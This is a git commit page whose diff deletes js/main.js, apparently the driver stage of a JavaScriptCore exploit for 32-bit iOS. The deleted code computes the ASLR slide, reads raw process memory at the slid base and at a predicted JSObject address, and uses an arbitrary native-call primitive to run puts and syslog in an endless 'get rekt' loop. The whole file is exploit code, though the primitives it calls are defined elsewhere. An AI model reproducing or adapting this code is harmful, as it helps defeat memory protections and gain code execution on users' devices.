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authorspv420 <unomilliono@gmail.com>2022-04-23 18:22:31 -0400
committerspv420 <unomilliono@gmail.com>2022-04-23 18:22:31 -0400
commit245a3831d7266913b0281bfa19058b59ac80818b (patch)
treed20043b79a8df535a7df9b1d19c249e6ebd2d5a1 /js/main.js
parent8526f9689b7bbeb09a14fbd159ef6d1871909df4 (diff)
big b0i
Diffstat (limited to 'js/main.js')
-rw-r--r--js/main.js58
1 files changed, 0 insertions, 58 deletions
diff --git a/js/main.js b/js/main.js
deleted file mode 100644
index dd7f1f0..0000000
--- a/js/main.js
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * november 24th 2021
- * [3:16 PM] spv: spice confuses the shit out of me, so i'm prolly not smart enough to implement it anyway
- *
- * ohai
- */
-
-var MAX_SLIDE = 0x3;
-var MIN_SLIDE = 0x1;
-
-try {
- log("we out here in jsc");
-} catch (e) {
- /*
- * we don't have log. :(
- */
-
- log = function (){};
-}
-
-function main() {
- /*
- * get slide and calculate slid base
- * remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's
- *
- * so, take the slide, shift it by 12 bits (aslr is calc'd by taking a
- * random byte and shifting it 12 bits, in this case the page size, 4096
- * (0x1000) bytes), and add it to the unslid base.
- */
-
- slide = get_our_slide();
- base = 0x4000 + (slide << 12);
- slid = (slide << 12);
-
- init_sptr_heap();
-
- calls4arg("puts\0", sptr("we out here\0"), 0, 0, 0);
-
- log("slide=0x" + slide.toString(16));
- log("*(uint8_t*)base = 0x" + read_u8(base).toString(16));
- log("*(uint16_t*)base = 0x" + read_u16(base).toString(16));
- log("*(uint32_t*)base = 0x" + read_u32(base).toString(16));
-
- predicted_jsobject_addy = 0x422200;
- buf = read_buf(predicted_jsobject_addy, 0x200);
-
- log("hexdump of predicted jsobject loc:");
- log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x"));
-
- var i = 0;
- while (true) {
- calls4arg("syslog\0", 0x28, sptr("get rekt from jsc %d (slide=%x)\n\0"), i, 0);
- calls4arg("sleep", 0, 0, 0, 0);
- i++;
- }
-
- log("still alive");
-};